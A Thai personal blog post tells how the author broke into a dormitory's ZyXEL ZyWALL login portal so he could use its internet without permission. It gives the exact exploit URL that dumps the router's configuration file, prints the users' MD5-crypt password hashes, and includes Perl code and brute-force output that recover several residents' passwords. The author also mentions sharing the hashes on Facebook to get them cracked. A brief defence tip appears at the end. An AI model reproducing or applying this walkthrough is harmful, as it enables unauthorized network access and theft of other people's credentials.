Saturday, May 19, 2012

แฮกเน็ตหอ ... ที่ใช้ ZyXEL ZyWALL 200

บทความนี้ .. เกิดจาก ความที่ผมเป็นคนที่ต้องเดินทางบ่อยๆ
ซึ่ง มักไปอาศัยตามห้องเพื่อน

ซึ่งเพื่อนคนหนึ่ง ห้องมันก็อยู่ ไกล๊ ไกล ... ทำให้ @Truewifi ไปไม่ถึง
ก็เลยได้ลองใช้เน็ตของมันดู

ซึ่งก็พบว่า

- มีระบบ login
- 2 ชม. ต้อง login ใหม่
- user จะเนียล login ซ้อนไม่ได้ ( ผมเดาว่า เค้า lock ที่เลข mac address ที่กำลังใช้งาน )


ผลคือ .. ผมเลยต้องแย่งใช้กับมัน !! (ทำไงได้ ตรูอยาก chat นี่หว่า)

ก็ตามเดิมฮะ .. ผมมันคนไม่เคยแฮกเน็ต wifi ก็ต้องมั่ว กันก่อน
netbook ประจำกายโปรกงโปรแกรมสำหรับแฮกก็ไม่มี
(เพราะ spec มันต่ำ .. เอาไว้แค่ เปิด เวป ก็เกินทน แล้ว)


ดังนั้น บทความ ต่อไปนี้ คือการแฮก แบบไม่มี tools นะครับ

ขั้นแรกก่อนเลย ผมทำการลอง connect ไปที่ชื่อเน็ต ของหอเพื่อน
จากนั้น เปิด firefox เข้า google.co.th
... ผลที่ได้คือ ผมโดน redirect ไปที่ 10.10.10.10
ซึ่งเป็นหน้า login ของ หอพักนั่นเอง

ซึ่งผมเดาว่า 10.10.10.10 เป็น gateway ของหอพัก
และ พิสูจน์ โดยการ เปิด cmd มา แล้ว รัน ipconfig /all
เพื่อ ดู gateway ชัดๆ อีกที
(บอกตรงๆ ว่าดูไปงั้นแหละ .. มันเป็นการเก็บข้อมูล เครื่องเป้าหมาย เฉยๆ)

จากนั้น ผมก็ดูโครงสร้าง รวมๆ ของ หน้า login ว่า
เป็นแบบไหน มีการส่งค่าที่เรา ใส่เข้าไป ไปที่หน้าไหน เครื่องเดียวกันมั้ย ฯลฯ
(เอาเป็นว่า ขั้นตอนนี้ต้องดูละเอียดหน่อย ... view source ของ page ดูกันเลย)

จากนั้น ผมก็เจอ ข้อความ ราวๆ "ZyWALL 200" อะไรนี่แหละ
(ตรงนี้ จำไม่ได้ เพราะ เขียนบทความที่บ้านหลังจาก ที่ ซน ไว้ เป็นเดือน -.-)
ซึ่ง ผมก็เอาเครื่องที่ เข้าเน็ตได้ ค้น google เลย
เริ่มจาก "zywall"

ทีนี้ ผมก็เริ่มรู้คร่าวๆ ว่า ระบบ login เนี้ย มันติดมาจาก เร้าเตอร์ เลย
ผมก็ค้น google ต่อ ราวๆ "bypass zywall", "exploit zywall"
อะไรประมาณเนี้ย

ซึ่งผมก็ไปเจอ
"Authentication Bypass in Configuration Import and Export of ZyXEL ZyWALL USG Appliances"
ของเวป www.redteam-pentesting.de/ เข้า
ซึ่งพอได้อ่านปุ๊ป อ่า .. เข้าทางเลย ใช่เลย รุ่นนี้ รั่วแน่ๆ

ก็สรุปว่า เจ้า เร้าเตอร์ รุ่นนี้ ตัว สคิป export-cgi มัน รั่ว LFI อยู่
ผมก็จัดการดึง ไฟล์ startup-config.conf ออกมาอ่าน

https://10.10.10.10/cgi-bin/export-cgi/images/?category=config&arg0=startup-config.conf

ซึ่งในนั้น ก็จะมี รายชื่อ user, pass, รวมไปถึง user ต่อ internet ของทั้งหอพักอยู่
(ผมเลยได้ user true wifi ใช้ฟรี อีก 1 user .. แผลบๆ)

ซึ่ง พาสด้านใน จะเขียน ราวๆ

! saved at 2012-04-21 22:24:50
! model: ZyWALL USG 200
! firmware version: 2.20(AQU.1)

username guest password $1$HbjbbJbb$WNo.P9W0289pg6PWLIgKR. user-type guest
username admin password $1$ebbbbbbe$9rN5KNw8MRe0CQHsxAgAi1 user-type admin
username office password $1$twWbbRE9$h2P/P2MrbLsNQ4L7IPwVG0 user-type user
username p104 password $1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21 user-type user
.
.
.
ซึ่งจะเห็นว่า เข้า รหัส อยู่ .. ด้วยความที่ netbook ผมมันไม่แรง
ผมก็เลย โพสพาสไว้ใน facebook ให้ หล่อๆ ในนั้น ช่วย crack ซะหน่อย
(จากการทดสอบ โพสในเฟสบุค หลายๆ คนดันไม่รู้ว่า เข้ารหัสไว้แบบไหน)

ผมก็เลย ยกตัวอย่าง อธิบายอีกว่า
ถ้า $1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21 คือพาส 12344567

ให้แยกเป็น
$1$ + bb6bbbZD$ + cB1evOBh.fGegyNS3kVU21

ตัว $1$ คือ ประเภท algorithm (เลข 1 คือ MD5, เลข 6 คือ SHA-512 )
ตัว bb6bbbZD คือ salt
และ cB1evOBh.fGegyNS3kVU21 คือ hash

ซึ่งพอนำมาเขียนเป็น code ที่ใช้ เข้าเข้ารหัส ก็จะได้

# see this
# $1$ | bb6bbbZD$ | cB1evOBh.fGegyNS3kVU21
#
# --> $1$ = algorithm (6 = SHA-512, 1 = MD5)
# --> bb6bbbZD = salt
# --> cB1evOBh.fGegyNS3kVU21 = hash
#
use Crypt::PasswdMD5;
my $pass = '12344567';
my $salt = 'bb6bbbZD';

my $crypted = unix_md5_crypt $pass, $salt;
print $crypted;

# print --> $1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21


จากนั้นก็ทำการเขียน script เป็น script brute
และ ทำการ บรูท ... ผมก็ได้ผลลัพท์ มาเป็น

C:\Users\stephack\Desktop>crack.pl
[+] found guest:guest ($1$HbjbbJbb$WNo.P9W0289pg6PWLIgKR.)
[+] found p104:12344567 ($1$bb6bbbZD$cB1evOBh.fGegyNS3kVU21)
[+] found p108:112233 ($1$bbbbRYYb$vmuEXmd2Tn4I3GZYG9H/V.)
[+] found p201:1234567 ($1$/YQbIFtb$bP0NYGfJWjeaoWSBz2CQs/)

ซึ่ง เท่ากับว่า ผมมี user อื่น ให้ใช้ .. โดยที่ไม่ต้องแย่งใช้กับเพื่อน แล้วนั่นเอง ^^

ปล. ใคร งง แนะนำให้อ่านเพิ่มเรื่อง crypt ได้ที่ http://php.net/manual/en/function.crypt.php ครับผม

ปล2. วิธีป้องกัน เท่าที่รู้ firmware ล่าสุดยังไม่ออก หรือ ไม่รุ้ว่าแก้ไขรึยัง
ให้ เข้า root ไป แก้ export-cgi ให้กรอง ตัวแปร ที่รับเข้ามาไปก่อน
(เดี๋ยวค่อยรวบสอนป้องกัน ละเอียดๆ ไว้ทีเดียว)

1 comment:

TheJoker FailTV said...

ขำ 55 ผมอยากได้รหัสใช้ฟรีบ้าง 555 // แล้วจะจะยิงเน็ตไปจะสามารถทำได้ไหมครับ ?

Why You Don't LIKE My FaceBook Fanpage ?
×
blogger